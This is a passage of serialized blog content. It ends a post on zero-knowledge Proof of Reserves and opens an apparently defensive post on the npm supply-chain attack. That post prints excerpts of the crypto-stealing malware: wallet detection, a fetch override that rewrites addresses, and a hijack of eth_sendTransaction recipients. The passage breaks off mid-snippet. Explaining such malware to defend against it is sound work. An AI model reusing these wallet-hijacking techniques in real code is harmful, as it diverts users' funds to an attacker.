reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[97565],{"type":21,"tag":194,"props":97566,"children":97567},{"__ignoreMap":7},[97568],{"type":27,"value":97563},{"type":21,"tag":30,"props":97570,"children":97571},{},[97572],{"type":27,"value":97573},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":21,"tag":187,"props":97575,"children":97577},{"code":97576},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[97578],{"type":21,"tag":194,"props":97579,"children":97580},{"__ignoreMap":7},[97581],{"type":27,"value":97576},{"type":21,"tag":22,"props":97583,"children":97584},{"id":3586},[97585],{"type":27,"value":3589},{"type":21,"tag":30,"props":97587,"children":97588},{},[97589],{"type":27,"value":97590},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":21,"tag":30,"props":97592,"children":97593},{},[97594,97596,97602],{"type":27,"value":97595},"We are currently working with Backpack to implement this algorithm ",{"type":21,"tag":34,"props":97597,"children":97599},{"href":97411,"rel":97598},[38],[97600],{"type":27,"value":97601},"in production",{"type":27,"value":97603}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":21,"tag":30,"props":97605,"children":97606},{},[97607,97609,97616],{"type":27,"value":97608},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":21,"tag":34,"props":97610,"children":97613},{"href":97611,"rel":97612},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[38],[97614],{"type":27,"value":97615},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":27,"value":658},{"title":7,"searchDepth":217,"depth":217,"links":97618},[97619,97620,97621,97622,97625,97630,97634,97635,97639],{"id":92868,"depth":217,"text":92871},{"id":92949,"depth":217,"text":92952},{"id":93019,"depth":217,"text":93022},{"id":93073,"depth":217,"text":93076,"children":97623},[97624],{"id":93152,"depth":236,"text":93155},{"id":93240,"depth":217,"text":93243,"children":97626},[97627,97628,97629],{"id":93313,"depth":236,"text":93316},{"id":93785,"depth":236,"text":93788},{"id":95524,"depth":236,"text":95527},{"id":97103,"depth":217,"text":97106,"children":97631},[97632,97633],{"id":10093,"depth":236,"text":97111},{"id":97165,"depth":236,"text":97168},{"id":97295,"depth":217,"text":97298},{"id":97426,"depth":217,"text":97429,"children":97636},[97637,97638],{"id":97437,"depth":236,"text":97440},{"id":97505,"depth":236,"text":97508},{"id":3586,"depth":217,"text":3589},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":97644,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":97645,"description":97646,"date":97647,"author":12,"image":97648,"isFeatured":16,"onBlogPage":16,"tags":97651,"body":97654,"_type":3671,"_id":100080,"_source":3673,"_file":100081,"_stem":100082,"_extension":3676},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":97649,"width":97650,"height":14430},"/posts/supply-chain-attcks/title.png",1536,[97652,97653],"npm","supply-chain",{"type":18,"children":97655,"toc":100063},[97656,97669,97674,97679,97685,97690,97698,98028,98036,98599,98607,99314,99320,99325,99331,99336,99341,99347,99352,99364,99369,99395,99482,99494,99519,99535,99540,99545,99751,99793,99798,99810,99816,99828,99870,99883,99963,99975,99988,99995,100006,100014,100020,100033,100038,100042,100047,100059],{"type":21,"tag":30,"props":97657,"children":97658},{},[97659,97661,97667],{"type":27,"value":97660},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":21,"tag":194,"props":97662,"children":97664},{"className":97663},[],[97665],{"type":27,"value":97666},"chalk",{"type":27,"value":97668},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":21,"tag":30,"props":97670,"children":97671},{},[97672],{"type":27,"value":97673},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":21,"tag":30,"props":97675,"children":97676},{},[97677],{"type":27,"value":97678},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":21,"tag":22,"props":97680,"children":97682},{"id":97681},"qix-malware-how-it-worked",[97683],{"type":27,"value":97684},"Qix Malware: How It Worked",{"type":21,"tag":30,"props":97686,"children":97687},{},[97688],{"type":27,"value":97689},"The attacker published modified versions of packages with code designed to do three things:",{"type":21,"tag":71,"props":97691,"children":97692},{},[97693],{"type":21,"tag":75,"props":97694,"children":97695},{},[97696],{"type":27,"value":97697},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":21,"tag":187,"props":97699,"children":97701},{"code":97700,"language":191,"meta":7,"className":189,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[97702],{"type":21,"tag":194,"props":97703,"children":97704},{"__ignoreMap":7},[97705,97725,97737,97781,97798,97805,97841,97853,97881,97901,97921,97933,97940,97975,97995,98007,98014,98021],{"type":21,"tag":198,"props":97706,"children":97707},{"class":200,"line":201},[97708,97712,97716,97721],{"type":21,"tag":198,"props":97709,"children":97710},{"style":249},[97711],{"type":27,"value":36919},{"type":21,"tag":198,"props":97713,"children":97714},{"style":249},[97715],{"type":27,"value":2000},{"type":21,"tag":198,"props":97717,"children":97718},{"style":698},[97719],{"type":27,"value":97720}," checkethereumw",{"type":21,"tag":198,"props":97722,"children":97723},{"style":211},[97724],{"type":27,"value":16539},{"type":21,"tag":198,"props":97726,"children":97727},{"class":200,"line":217},[97728,97733],{"type":21,"tag":198,"props":97729,"children":97730},{"style":640},[97731],{"type":27,"value":97732}," try",{"type":21,"tag":198,"props":97734,"children":97735},{"style":211},[97736],{"type":27,"value":233},{"type":21,"tag":198,"props":97738,"children":97739},{"class":200,"line":236},[97740,97744,97749,97753,97757,97761,97765,97769,97773,97777],{"type":21,"tag":198,"props":97741,"children":97742},{"style":249},[97743],{"type":27,"value":52044},{"type":21,"tag":198,"props":97745,"children":97746},{"style":226},[97747],{"type":27,"value":97748}," _0x124ed3",{"type":21,"tag":198,"props":97750,"children":97751},{"style":683},[97752],{"type":27,"value":979},{"type":21,"tag":198,"props":97754,"children":97755},{"style":640},[97756],{"type":27,"value":36983},{"type":21,"tag":198,"props":97758,"children":97759},{"style":226},[97760],{"type":27,"value":2662},{"type":21,"tag":198,"props":97762,"children":97763},{"style":211},[97764],{"type":27,"value":658},{"type":21,"tag":198,"props":97766,"children":97767},{"style":226},[97768],{"type":27,"value":32206},{"type":21,"tag":198,"props":97770,"children":97771},{"style":211},[97772],{"type":27,"value":658},{"type":21,"tag":198,"props":97774,"children":97775},{"style":698},[97776],{"type":27,"value":32280},{"type":21,"tag":198,"props":97778,"children":97779},{"style":211},[97780],{"type":27,"value":15945},{"type":21,"tag":198,"props":97782,"children":97783},{"class":200,"line":260},[97784,97789,97793],{"type":21,"tag":198,"props":97785,"children":97786},{"style":205},[97787],{"type":27,"value":97788}," 'method'",{"type":21,"tag":198,"props":97790,"children":97791},{"style":226},[97792],{"type":27,"value":185},{"type":21,"tag":198,"props":97794,"children":97795},{"style":205},[97796],{"type":27,"value":97797}," \"eth_accounts\"\n",{"type":21,"tag":198,"props":97799,"children":97800},{"class":200,"line":281},[97801],{"type":21,"tag":198,"props":97802,"children":97803},{"style":211},[97804],{"type":27,"value":33043},{"type":21,"tag":198,"props":97806,"children":97807},{"class":200,"line":302},[97808,97812,97816,97821,97825,97829,97833,97837],{"type":21,"tag":198,"props":97809,"children":97810},{"style":640},[97811],{"type":27,"value":643},{"type":21,"tag":198,"props":97813,"children":97814},{"style":211},[97815],{"type":27,"value":648},{"type":21,"tag":198,"props":97817,"children":97818},{"style":226},[97819],{"type":27,"value":97820},"_0x124ed3",{"type":21,"tag":198,"props":97822,"children":97823},{"style":211},[97824],{"type":27,"value":658},{"type":21,"tag":198,"props":97826,"children":97827},{"style":226},[97828],{"type":27,"value":9314},{"type":21,"tag":198,"props":97830,"children":97831},{"style":683},[97832],{"type":27,"value":15000},{"type":21,"tag":198,"props":97834,"children":97835},{"style":2540},[97836],{"type":27,"value":3855},{"type":21,"tag":198,"props":97838,"children":97839},{"style":211},[97840],{"type":27,"value":668},{"type":21,"tag":198,"props":97842,"children":97843},{"class":200,"line":323},[97844,97849],{"type":21,"tag":198,"props":97845,"children":97846},{"style":698},[97847],{"type":27,"value":97848}," runmask",{"type":21,"tag":198,"props":97850,"children":97851},{"style":211},[97852],{"type":27,"value":3404},{"type":21,"tag":198,"props":97854,"children":97855},{"class":200,"line":344},[97856,97860,97864,97869,97873,97877],{"type":21,"tag":198,"props":97857,"children":97858},{"style":640},[97859],{"type":27,"value":676},{"type":21,"tag":198,"props":97861,"children":97862},{"style":211},[97863],{"type":27,"value":648},{"type":21,"tag":198,"props":97865,"children":97866},{"style":226},[97867],{"type":27,"value":97868},"rund",{"type":21,"tag":198,"props":97870,"children":97871},{"style":683},[97872],{"type":27,"value":64765},{"type":21,"tag":198,"props":97874,"children":97875},{"style":2540},[97876],{"type":27,"value":5335},{"type":21,"tag":198,"props":97878,"children":97879},{"style":211},[97880],{"type":27,"value":668},{"type":21,"tag":198,"props":97882,"children":97883},{"class":200,"line":365},[97884,97889,97893,97897],{"type":21,"tag":198,"props":97885,"children":97886},{"style":226},[97887],{"type":27,"value":97888}," rund",{"type":21,"tag":198,"props":97890,"children":97891},{"style":683},[97892],{"type":27,"value":979},{"type":21,"tag":198,"props":97894,"children":97895},{"style":2540},[97896],{"type":27,"value":5335},{"type":21,"tag":198,"props":97898,"children":97899},{"style":211},[97900],{"type":27,"value":1483},{"type":21,"tag":198,"props":97902,"children":97903},{"class":200,"line":386},[97904,97909,97913,97917],{"type":21,"tag":198,"props":97905,"children":97906},{"style":226},[97907],{"type":27,"value":97908}," neth",{"type":21,"tag":198,"props":97910,"children":97911},{"style":683},[97912],{"type":27,"value":979},{"type":21,"tag":198,"props":97914,"children":97915},{"style":2540},[97916],{"type":27,"value":5335},{"type":21,"tag":198,"props":97918,"children":97919},{"style":211},[97920],{"type":27,"value":1483},{"type":21,"tag":198,"props":97922,"children":97923},{"class":200,"line":408},[97924,97929],{"type":21,"tag":198,"props":97925,"children":97926},{"style":698},[97927],{"type":27,"value":97928}," newdlocal",{"type":21,"tag":198,"props":97930,"children":97931},{"style":211},[97932],{"type":27,"value":3404},{"type":21,"tag":198,"props":97934,"children":97935},{"class":200,"line":429},[97936],{"type":21,"tag":198,"props":97937,"children":97938},{"style":211},[97939],{"type":27,"value":797},{"type":21,"tag":198,"props":97941,"children":97942},{"class":200,"line":450},[97943,97947,97951,97955,97959,97963,97967,97971],{"type":21,"tag":198,"props":97944,"children":97945},{"style":211},[97946],{"type":27,"value":16582},{"type":21,"tag":198,"props":97948,"children":97949},{"style":640},[97950],{"type":27,"value":4122},{"type":21,"tag":198,"props":97952,"children":97953},{"style":640},[97954],{"type":27,"value":16591},{"type":21,"tag":198,"props":97956,"children":97957},{"style":211},[97958],{"type":27,"value":648},{"type":21,"tag":198,"props":97960,"children":97961},{"style":226},[97962],{"type":27,"value":97868},{"type":21,"tag":198,"props":97964,"children":97965},{"style":683},[97966],{"type":27,"value":64765},{"type":21,"tag":198,"props":97968,"children":97969},{"style":2540},[97970],{"type":27,"value":5335},{"type":21,"tag":198,"props":97972,"children":97973},{"style":211},[97974],{"type":27,"value":668},{"type":21,"tag":198,"props":97976,"children":97977},{"class":200,"line":468},[97978,97983,97987,97991],{"type":21,"tag":198,"props":97979,"children":97980},{"style":226},[97981],{"type":27,"value":97982}," rund",{"type":21,"tag":198,"props":97984,"children":97985},{"style":683},[97986],{"type":27,"value":979},{"type":21,"tag":198,"props":97988,"children":97989},{"style":2540},[97990],{"type":27,"value":5335},{"type":21,"tag":198,"props":97992,"children":97993},{"style":211},[97994],{"type":27,"value":1483},{"type":21,"tag":198,"props":97996,"children":97997},{"class":200,"line":477},[97998,98003],{"type":21,"tag":198,"props":97999,"children":98000},{"style":698},[98001],{"type":27,"value":98002}," newdlocal",{"type":21,"tag":198,"props":98004,"children":98005},{"style":211},[98006],{"type":27,"value":3404},{"type":21,"tag":198,"props":98008,"children":98009},{"class":200,"line":494},[98010],{"type":21,"tag":198,"props":98011,"children":98012},{"style":211},[98013],{"type":27,"value":880},{"type":21,"tag":198,"props":98015,"children":98016},{"class":200,"line":515},[98017],{"type":21,"tag":198,"props":98018,"children":98019},{"style":211},[98020],{"type":27,"value":2249},{"type":21,"tag":198,"props":98022,"children":98023},{"class":200,"line":4484},[98024],{"type":21,"tag":198,"props":98025,"children":98026},{"style":211},[98027],{"type":27,"value":1120},{"type":21,"tag":71,"props":98029,"children":98030},{"start":217},[98031],{"type":21,"tag":75,"props":98032,"children":98033},{},[98034],{"type":27,"value":98035},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":21,"tag":187,"props":98037,"children":98039},{"code":98038,"language":191,"meta":7,"className":189,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[98040],{"type":21,"tag":194,"props":98041,"children":98042},{"__ignoreMap":7},[98043,98078,98135,98197,98212,98249,98288,98303,98342,98349,98382,98398,98457,98495,98520,98545,98569,98577,98592],{"type":21,"tag":198,"props":98044,"children":98045},{"class":200,"line":201},[98046,98050,98054,98058,98062,98066,98070,98074],{"type":21,"tag":198,"props":98047,"children":98048},{"style":698},[98049],{"type":27,"value":34873},{"type":21,"tag":198,"props":98051,"children":98052},{"style":683},[98053],{"type":27,"value":979},{"type":21,"tag":198,"props":98055,"children":98056},{"style":249},[98057],{"type":27,"value":37137},{"type":21,"tag":198,"props":98059,"children":98060},{"style":249},[98061],{"type":27,"value":2000},{"type":21,"tag":198,"props":98063,"children":98064},{"style":211},[98065],{"type":27,"value":648},{"type":21,"tag":198,"props":98067,"children":98068},{"style":683},[98069],{"type":27,"value":10402},{"type":21,"tag":198,"props":98071,"children":98072},{"style":226},[98073],{"type":27,"value":38986},{"type":21,"tag":198,"props":98075,"children":98076},{"style":211},[98077],{"type":27,"value":668},{"type":21,"tag":198,"props":98079,"children":98080},{"class":200,"line":217},[98081,98085,98090,98094,98098,98103,98107,98111,98115,98119,98123,98127,98131],{"type":21,"tag":198,"props":98082,"children":98083},{"style":249},[98084],{"type":27,"value":969},{"type":21,"tag":198,"props":98086,"children":98087},{"style":226},[98088],{"type":27,"value":98089}," originalResponse",{"type":21,"tag":198,"props":98091,"children":98092},{"style":683},[98093],{"type":27,"value":979},{"type":21,"tag":198,"props":98095,"children":98096},{"style":640},[98097],{"type":27,"value":36983},{"type":21,"tag":198,"props":98099,"children":98100},{"style":226},[98101],{"type":27,"value":98102}," originalFetch",{"type":21,"tag":198,"props":98104,"children":98105},{"style":211},[98106],{"type":27,"value":658},{"type":21,"tag":198,"props":98108,"children":98109},{"style":698},[98110],{"type":27,"value":39054},{"type":21,"tag":198,"props":98112,"children":98113},{"style":211},[98114],{"type":27,"value":706},{"type":21,"tag":198,"props":98116,"children":98117},{"style":249},[98118],{"type":27,"value":18495},{"type":21,"tag":198,"props":98120,"children":98121},{"style":211},[98122],{"type":27,"value":828},{"type":21,"tag":198,"props":98124,"children":98125},{"style":683},[98126],{"type":27,"value":10402},{"type":21,"tag":198,"props":98128,"children":98129},{"style":226},[98130],{"type":27,"value":38986},{"type":21,"tag":198,"props":98132,"children":98133},{"style":211},[98134],{"type":27,"value":1470},{"type":21,"tag":198,"props":98136,"children":98137},{"class":200,"line":236},[98138,98142,98147,98151,98155,98159,98164,98168,98172,98176,98181,98185,98189,98193],{"type":21,"tag":198,"props":98139,"children":98140},{"style":249},[98141],{"type":27,"value":969},{"type":21,"tag":198,"props":98143,"children":98144},{"style":226},[98145],{"type":27,"value":98146}," contentType",{"type":21,"tag":198,"props":98148,"children":98149},{"style":683},[98150],{"type":27,"value":979},{"type":21,"tag":198,"props":98152,"children":98153},{"style":226},[98154],{"type":27,"value":98089},{"type":21,"tag":198,"props":98156,"children":98157},{"style":211},[98158],{"type":27,"value":658},{"type":21,"tag":198,"props":98160,"children":98161},{"style":226},[98162],{"type":27,"value":98163},"headers",{"type":21,"tag":198,"props":98165,"children":98166},{"style":211},[98167],{"type":27,"value":658},{"type":21,"tag":198,"props":98169,"children":98170},{"style":698},[98171],{"type":27,"value":17155},{"type":21,"tag":198,"props":98173,"children":98174},{"style":211},[98175],{"type":27,"value":706},{"type":21,"tag":198,"props":98177,"children":98178},{"style":205},[98179],{"type":27,"value":98180},"'Content-Type'",{"type":21,"tag":198,"props":98182,"children":98183},{"style":211},[98184],{"type":27,"value":1541},{"type":21,"tag":198,"props":98186,"children":98187},{"style":683},[98188],{"type":27,"value":23212},{"type":21,"tag":198,"props":98190,"children":98191},{"style":205},[98192],{"type":27,"value":32626},{"type":21,"tag":198,"props":98194,"children":98195},{"style":211},[98196],{"type":27,"value":1483},{"type":21,"tag":198,"props":98198,"children":98199},{"class":200,"line":260},[98200,98204,98208],{"type":21,"tag":198,"props":98201,"children":98202},{"style":249},[98203],{"type":27,"value":1023},{"type":21,"tag":198,"props":98205,"children":98206},{"style":226},[98207],{"type":27,"value":15909},{"type":21,"tag":198,"props":98209,"children":98210},{"style":211},[98211],{"type":27,"value":1483},{"type":21,"tag":198,"props":98213,"children":98214},{"class":200,"line":281},[98215,98219,98223,98228,98232,98236,98240,98245],{"type":21,"tag":198,"props":98216,"children":98217},{"style":640},[98218],{"type":27,"value":1036},{"type":21,"tag":198,"props":98220,"children":98221},{"style":211},[98222],{"type":27,"value":648},{"type":21,"tag":198,"props":98224,"children":98225},{"style":226},[98226],{"type":27,"value":98227},"contentType",{"type":21,"tag":198,"props":98229,"children":98230},{"style":211},[98231],{"type":27,"value":658},{"type":21,"tag":198,"props":98233,"children":98234},{"style":698},[98235],{"type":27,"value":35956},{"type":21,"tag":198,"props":98237,"children":98238},{"style":211},[98239],{"type":27,"value":706},{"type":21,"tag":198,"props":98241,"children":98242},{"style":205},[98243],{"type":27,"value":98244},"'application/json'",{"type":21,"tag":198,"props":98246,"children":98247},{"style":211},[98248],{"type":27,"value":724},{"type":21,"tag":198,"props":98250,"children":98251},{"class":200,"line":302},[98252,98256,98260,98264,98268,98272,98276,98280,98284],{"type":21,"tag":198,"props":98253,"children":98254},{"style":226},[98255],{"type":27,"value":43986},{"type":21,"tag":198,"props":98257,"children":98258},{"style":683},[98259],{"type":27,"value":979},{"type":21,"tag":198,"props":98261,"children":98262},{"style":640},[98263],{"type":27,"value":36983},{"type":21,"tag":198,"props":98265,"children":98266},{"style":226},[98267],{"type":27,"value":98089},{"type":21,"tag":198,"props":98269,"children":98270},{"style":211},[98271],{"type":27,"value":658},{"type":21,"tag":198,"props":98273,"children":98274},{"style":698},[98275],{"type":27,"value":16224},{"type":21,"tag":198,"props":98277,"children":98278},{"style":211},[98279],{"type":27,"value":30969},{"type":21,"tag":198,"props":98281,"children":98282},{"style":698},[98283],{"type":27,"value":2119},{"type":21,"tag":198,"props":98285,"children":98286},{"style":211},[98287],{"type":27,"value":3404},{"type":21,"tag":198,"props":98289,"children":98290},{"class":200,"line":323},[98291,98295,98299],{"type":21,"tag":198,"props":98292,"children":98293},{"style":211},[98294],{"type":27,"value":1244},{"type":21,"tag":198,"props":98296,"children":98297},{"style":640},[98298],{"type":27,"value":4122},{"type":21,"tag":198,"props":98300,"children":98301},{"style":211},[98302],{"type":27,"value":233},{"type":21,"tag":198,"props":98304,"children":98305},{"class":200,"line":344},[98306,98310,98314,98318,98322,98326,98330,98334,98338],{"type":21,"tag":198,"props":98307,"children":98308},{"style":226},[98309],{"type":27,"value":43986},{"type":21,"tag":198,"props":98311,"children":98312},{"style":683},[98313],{"type":27,"value":979},{"type":21,"tag":198,"props":98315,"children":98316},{"style":640},[98317],{"type":27,"value":36983},{"type":21,"tag":198,"props":98319,"children":98320},{"style":226},[98321],{"type":27,"value":98089},{"type":21,"tag":198,"props":98323,"children":98324},{"style":211},[98325],{"type":27,"value":658},{"type":21,"tag":198,"props":98327,"children":98328},{"style":698},[98329],{"type":27,"value":16224},{"type":21,"tag":198,"props":98331,"children":98332},{"style":211},[98333],{"type":27,"value":30969},{"type":21,"tag":198,"props":98335,"children":98336},{"style":698},[98337],{"type":27,"value":27},{"type":21,"tag":198,"props":98339,"children":98340},{"style":211},[98341],{"type":27,"value":3404},{"type":21,"tag":198,"props":98343,"children":98344},{"class":200,"line":365},[98345],{"type":21,"tag":198,"props":98346,"children":98347},{"style":211},[98348],{"type":27,"value":2249},{"type":21,"tag":198,"props":98350,"children":98351},{"class":200,"line":386},[98352,98356,98361,98365,98370,98374,98378],{"type":21,"tag":198,"props":98353,"children":98354},{"style":249},[98355],{"type":27,"value":969},{"type":21,"tag":198,"props":98357,"children":98358},{"style":226},[98359],{"type":27,"value":98360}," processedData",{"type":21,"tag":198,"props":98362,"children":98363},{"style":683},[98364],{"type":27,"value":979},{"type":21,"tag":198,"props":98366,"children":98367},{"style":698},[98368],{"type":27,"value":98369}," replaceAddresses",{"type":21,"tag":198,"props":98371,"children":98372},{"style":211},[98373],{"type":27,"value":706},{"type":21,"tag":198,"props":98375,"children":98376},{"style":226},[98377],{"type":27,"value":4508},{"type":21,"tag":198,"props":98379,"children":98380},{"style":211},[98381],{"type":27,"value":1470},{"type":21,"tag":198,"props":98383,"children":98384},{"class":200,"line":408},[98385,98389,98394],{"type":21,"tag":198,"props":98386,"children":98387},{"style":249},[98388],{"type":27,"value":969},{"type":21,"tag":198,"props":98390,"children":98391},{"style":226},[98392],{"type":27,"value":98393}," finalResponseText",{"type":21,"tag":198,"props":98395,"children":98396},{"style":683},[98397],{"type":27,"value":36629},{"type":21,"tag":198,"props":98399,"children":98400},{"class":200,"line":429},[98401,98406,98410,98414,98419,98424,98428,98432,98436,98440,98444,98448,98453],{"type":21,"tag":198,"props":98402,"children":98403},{"style":249},[98404],{"type":27,"value":98405}," typeof",{"type":21,"tag":198,"props":98407,"children":98408},{"style":226},[98409],{"type":27,"value":98360},{"type":21,"tag":198,"props":98411,"children":98412},{"style":683},[98413],{"type":27,"value":1531},{"type":21,"tag":198,"props":98415,"children":98416},{"style":205},[98417],{"type":27,"value":98418}," 'string'",{"type":21,"tag":198,"props":98420,"children":98421},{"style":683},[98422],{"type":27,"value":98423}," ?",{"type":21,"tag":198,"props":98425,"children":98426},{"style":226},[98427],{"type":27,"value":98360},{"type":21,"tag":198,"props":98429,"children":98430},{"style":683},[98431],{"type":27,"value":35891},{"type":21,"tag":198,"props":98433,"children":98434},{"style":226},[98435],{"type":27,"value":38290},{"type":21,"tag":198,"props":98437,"children":98438},{"style":211},[98439],{"type":27,"value":658},{"type":21,"tag":198,"props":98441,"children":98442},{"style":698},[98443],{"type":27,"value":39990},{"type":21,"tag":198,"props":98445,"children":98446},{"style":211},[98447],{"type":27,"value":706},{"type":21,"tag":198,"props":98449,"children":98450},{"style":226},[98451],{"type":27,"value":98452},"processedData",{"type":21,"tag":198,"props":98454,"children":98455},{"style":211},[98456],{"type":27,"value":1470},{"type":21,"tag":198,"props":98458,"children":98459},{"class":200,"line":450},[98460,98464,98469,98473,98477,98482,98486,98491],{"type":21,"tag":198,"props":98461,"children":98462},{"style":249},[98463],{"type":27,"value":969},{"type":21,"tag":198,"props":98465,"children":98466},{"style":226},[98467],{"type":27,"value":98468}," finalResponse",{"type":21,"tag":198,"props":98470,"children":98471},{"style":683},[98472],{"type":27,"value":979},{"type":21,"tag":198,"props":98474,"children":98475},{"style":249},[98476],{"type":27,"value":737},{"type":21,"tag":198,"props":98478,"children":98479},{"style":698},[98480],{"type":27,"value":98481}," Response",{"type":21,"tag":198,"props":98483,"children":98484},{"style":211},[98485],{"type":27,"value":706},{"type":21,"tag":198,"props":98487,"children":98488},{"style":226},[98489],{"type":27,"value":98490},"finalResponseText",{"type":21,"tag":198,"props":98492,"children":98493},{"style":211},[98494],{"type":27,"value":1983},{"type":21,"tag":198,"props":98496,"children":98497},{"class":200,"line":468},[98498,98503,98507,98511,98516],{"type":21,"tag":198,"props":98499,"children":98500},{"style":226},[98501],{"type":27,"value":98502}," status:",{"type":21,"tag":198,"props":98504,"children":98505},{"style":226},[98506],{"type":27,"value":98089},{"type":21,"tag":198,"props":98508,"children":98509},{"style":211},[98510],{"type":27,"value":658},{"type":21,"tag":198,"props":98512,"children":98513},{"style":226},[98514],{"type":27,"value":98515},"status",{"type":21,"tag":198,"props":98517,"children":98518},{"style":211},[98519],{"type":27,"value":257},{"type":21,"tag":198,"props":98521,"children":98522},{"class":200,"line":477},[98523,98528,98532,98536,98541],{"type":21,"tag":198,"props":98524,"children":98525},{"style":226},[98526],{"type":27,"value":98527}," statusText:",{"type":21,"tag":198,"props":98529,"children":98530},{"style":226},[98531],{"type":27,"value":98089},{"type":21,"tag":198,"props":98533,"children":98534},{"style":211},[98535],{"type":27,"value":658},{"type":21,"tag":198,"props":98537,"children":98538},{"style":226},[98539],{"type":27,"value":98540},"statusText",{"type":21,"tag":198,"props":98542,"children":98543},{"style":211},[98544],{"type":27,"value":257},{"type":21,"tag":198,"props":98546,"children":98547},{"class":200,"line":494},[98548,98553,98557,98561,98565],{"type":21,"tag":198,"props":98549,"children":98550},{"style":226},[98551],{"type":27,"value":98552}," headers:",{"type":21,"tag":198,"props":98554,"children":98555},{"style":226},[98556],{"type":27,"value":98089},{"type":21,"tag":198,"props":98558,"children":98559},{"style":211},[98560],{"type":27,"value":658},{"type":21,"tag":198,"props":98562,"children":98563},{"style":226},[98564],{"type":27,"value":98163},{"type":21,"tag":198,"props":98566,"children":98567},{"style":211},[98568],{"type":27,"value":257},{"type":21,"tag":198,"props":98570,"children":98571},{"class":200,"line":515},[98572],{"type":21,"tag":198,"props":98573,"children":98574},{"style":211},[98575],{"type":27,"value":98576}," });\n",{"type":21,"tag":198,"props":98578,"children":98579},{"class":200,"line":4484},[98580,98584,98588],{"type":21,"tag":198,"props":98581,"children":98582},{"style":640},[98583],{"type":27,"value":1886},{"type":21,"tag":198,"props":98585,"children":98586},{"style":226},[98587],{"type":27,"value":98468},{"type":21,"tag":198,"props":98589,"children":98590},{"style":211},[98591],{"type":27,"value":1483},{"type":21,"tag":198,"props":98593,"children":98594},{"class":200,"line":4493},[98595],{"type":21,"tag":198,"props":98596,"children":98597},{"style":211},[98598],{"type":27,"value":2357},{"type":21,"tag":71,"props":98600,"children":98601},{"start":236},[98602],{"type":21,"tag":75,"props":98603,"children":98604},{},[98605],{"type":27,"value":98606},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":21,"tag":187,"props":98608,"children":98610},{"code":98609,"language":191,"meta":7,"className":189,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 